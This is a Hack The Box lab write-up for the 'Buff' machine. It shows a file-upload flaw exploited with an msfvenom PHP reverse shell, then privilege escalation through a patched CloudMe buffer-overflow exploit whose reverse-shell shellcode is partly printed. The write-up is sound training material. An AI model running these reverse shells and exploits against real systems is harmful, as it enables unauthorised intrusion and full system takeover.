Recon
As usual, recon starts with nmap across all ports:
# Nmap 7.80 scan initiated Mon Sep 28 20:01:12 2020 as: nmap -p- -T4 -A -oN nmap_full.log 10.10.10.198 Nmap scan report for 10.10.10.198 Host is up (0.070s latency). Not shown: 65533 filtered ports PORT STATE SERVICE VERSION 7680/tcp open pando-pub? 8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6) |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6 |_http-title: mrb3n's Bro Hut Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2008|7 (85%)
We can see there is a HTTP server on 8080, and an unusual service on 7680. The page itself looks simple enough:
While exploring the page, we initiate a gobuster
run on the website. There are quite a few entries which get returned, including an /ex
folder which appears to contain an older, somewhat broken version of the website.
Recursively using gobuster on this folder also gathers quite a few entries:
hostilenode@blackstar:~/htb/buff$ gobuster dir -u http://10.10.10.198:8080/ex -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.198:8080/ex [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: php [+] Timeout: 10s =============================================================== 2020/09/29 18:51:34 Starting gobuster =============================================================== /img (Status: 301) /home.php (Status: 200) /profile (Status: 301) /index.php (Status: 200) /contact.php (Status: 200) /about.php (Status: 200) /admin (Status: 301) /register.php (Status: 200) /Home.php (Status: 200) /upload.php (Status: 200) /About.php (Status: 200) /Contact.php (Status: 200) /edit.php (Status: 200) /Index.php (Status: 200) /up.php (Status: 200) /packages.php (Status: 200) /include (Status: 301) /facilities.php (Status: 200) /Register.php (Status: 200) /Profile (Status: 301) /att (Status: 301) ...
One that immediately caught my attention was /ex/upload.php
, as upload facilities are often vulnerable.
User access
The file upload page is somewhat odd, with the two input boxes in addition to the file selection. From looking at the page’s source, we have:
<body> <form method="post" action="up.php" enctype="multipart/form-data"> <input type="text" name="ext" size="30"/> <input type="text" name="name" id="name" size="30"/> <input type="file" accept="image/*" name="image" id="image" /> <input type="submit" value='Save' onclick="return validateForm()"/> </form> </body>
So the first one is the file’s extension, the second the file’s name. Lets see if we can upload a PHP file; if we can, and we can find where the file was uploaded to, then the server will execute it. Lets try something simple before putting together a shell:
<?php echo 'Hello world'; ?>
We’ll call it hn.php
and set the fields to php
and hn
, respectively:
So where did the file end up? We’ll, the most trivial choice would be “the same folder as where upload.php lives”. And if we try that, we’ll see that our file has indeed been uploaded is executing:
The next stage is trying an actual reverse shell, such as PentestMonkey’s PHP reverse shell. Attempting to upload it, however, we run into an issue:
Since this is a Windows machine, we might have tripped Windows Defender, which is blocking our reverse shell. We’ll try to create one with msfvenom
instead:
hostilenode@blackstar:~/htb/buff$ msfvenom -p php/reverse_php -o reverse_php.php LHOST=10.10.14.30 LPORT=4444 [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder specified, outputting raw payload Payload size: 3007 bytes Saved as: reverse_php.php
If we upload this file, and then listen on our local machine with nc -lvp 4444
and finally run it on the server by navigating to our uploaded file (at, e.g., http://10.10.10.198:8080/ex/reverse_php.php
), we get a connection established. It is a pretty primitive shell, but enough for what we need right now.
hostilenode@blackstar:~/htb/buff$ nc -lvp 4444 listening on [any] 4444 ... 10.10.10.198: inverse host lookup failed: Unknown host connect to [10.10.14.28] from (UNKNOWN) [10.10.10.198] 49677 whoami buff\shaun
The user flag is located in the standard location for HTB, in this case C:\Users\shaun\Desktop\user.txt
.
Privilege escalation
Thrawling through the files in this machine, we’ll quickly find an unusual file: C:\Users\shaun\Downloads\CloudMe_1112.exe
. A quick look at ExploitDB brings up a Python buffer overflow exploit, and given the name of the box (and the Easy rating) this is likely the way forwards.
Reading the exploit, it doesn’t seem to be particularly complicated: a connection is established with the machine on port 8888 and it sends a crafted message which opens calc.exe
. But is this machine actually listening on that port? A quick netstat -ano
shows us that it is, even if it isn’t reachable by the outside:
TCP 127.0.0.1:8888 0.0.0.0:0 LISTENING
So in theory we just need to modify the exploit to run something more useful than calc.exe, upload it and grab the root flag. The practice is somewhat more complicated, however, as this machine doesn’t have Python installed.
Patching the exploit
The exploit helpfully already has a comment regarding how the original payload was created: msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
. We’ll change the payload to use shell_reverse_tcp
to call us back on port 4445, and if this service is running with elevated rights we’ll get an Administrator shell.
Note that we still need port 4444. As this exploit has to be run from the target machine, we’ll still rely on the original low-privileged shell to launch it.
hostilenode@blackstar:/htb/buff$ msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.28 LPORT=4445 -b '\x00\x0A\x0D' -f python [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 351 (iteration=0) x86/shikata_ga_nai chosen with final size 351 Payload size: 351 bytes Final size of python file: 1712 bytes buf = b"" buf += b"\xdb\xd9\xba\xc7\xb0\xb7\xcb\xd9\x74\x24\xf4\x5f\x33" buf += b"\xc9\xb1\x52\x83\xef\xfc\x31\x57\x13\x03\x90\xa3\x55" buf += b"\x3e\xe2\x2c\x1b\xc1\x1a\xad\x7c\x4b\xff\x9c\xbc\x2f" buf += b"\x74\x8e\x0c\x3b\xd8\x23\xe6\x69\xc8\xb0\x8a\xa5\xff" buf += b"\x71\x20\x90\xce\x82\x19\xe0\x51\x01\x60\x35\xb1\x38" buf += b"\xab\x48\xb0\x7d\xd6\xa1\xe0\xd6\x9c\x14\x14\x52\xe8" ...
We’ll then replace the exploit’s payload with our own, being mindful to replace the buf
variable with payload
to keep the exploit’s logic intact. With our exploit ready, we then need to figure out how to run it on a machine that has no Python.
pyinstaller
hostilenode@blackstar:~/htb/buff$ apt search pyinstaller Sorting... Done Full Text Search... Done python3-pyinstaller/kali-rolling 3.5-0kali2 all Converts (packages) Python programs into stand-alone executables. windows-privesc-check/kali-rolling 2.0.0+svn197-0kali4 all Windows privilege escalation checking tool hostilenode@blackstar:~/htb/buff$ sudo apt install python3-pyinstaller
One way to get around the issue that we have no Python on this machine is to use pyinstaller, which lets us to create a native binary from a Python source. There are two important points to note:
- pyinstaller can’t create binaries for different OSes. So a Windows box / VM is necessary to generate an EXE.
- Only Python versions earlier than 3.8 are supported as of time of writing.
With pyinstaller in place, we can then build our exploit in a format we can run on the target machine:
PS E:\VirtualBox VMs\Public> pyinstaller.exe -F .\48389.py 81 INFO: PyInstaller: 4.0 82 INFO: Python: 3.7.9 82 INFO: Platform: Windows-10-10.0.19041-SP0 83 INFO: wrote E:\VirtualBox VMs\Public\48389.spec 87 INFO: UPX is not available. 99 INFO: Extending PYTHONPATH with paths ['E:\VirtualBox VMs\Public', 'E:\VirtualBox VMs\Public'] 161 INFO: checking Analysis [...] 9949 INFO: Bootloader appdata\local\programs\python\python37\lib\site-packages\PyInstaller\bootloader\Windows-64bit\run.exe 9949 INFO: checking EXE 9949 INFO: Building EXE because EXE-00.toc is non existent 9949 INFO: Building EXE from EXE-00.toc 9950 INFO: Appending archive to EXE E:\VirtualBox VMs\Public\dist\48389.exe 10042 INFO: Building EXE from EXE-00.toc completed successfully. PS E:\VirtualBox VMs\Public>
We can upload our binary the same way we’ve uploaded our initial shell. Then, it is just a matter of having the attacking machine listening on port 4445, and running our exploit on the target. We’ll then get a connection back, and since the service we’re exploiting runs as Administrator, we’ll have elevated privileges:
Microsoft Windows [Version 10.0.17134.1610] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32> whoami buff\administrator
The root flag is located in the standard location for HTB: C:\Users\Administrator\Desktop\root.txt
.